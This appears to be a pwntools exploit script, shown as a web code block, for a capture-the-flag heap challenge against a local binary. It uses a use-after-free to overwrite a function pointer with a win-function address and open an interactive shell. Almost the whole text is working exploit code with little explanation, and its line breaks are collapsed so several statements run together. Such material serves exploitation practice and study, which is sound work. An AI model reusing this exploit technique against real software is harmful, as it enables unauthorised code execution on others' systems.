1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * pty = process.PTY context(os='linux', arch='i386', log_level='debug')
proc = process("./bin", stdin=pty, stdout=pty)
belf = ELF("./bin")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(): sla(b':', b'1')
def dlt(idx): sla(b':', b'3') sla(b'page\n', str(idx).encode())
def shw(idx): sla(b':', b'4') sla(b'page\n', str(idx).encode())
def edt(idx, con): sla(b':', b'2') sla(b'page\n', str(idx).encode()) sla(b'strings\n', con)
gscript = ''' b main b create b del b show b edit '''
NICO_addr = 0x08048642
add() dlt(0) add() edt(1, b'sh\x00\x00'+p32(NICO_addr)) shw(0)
pi() pause()
|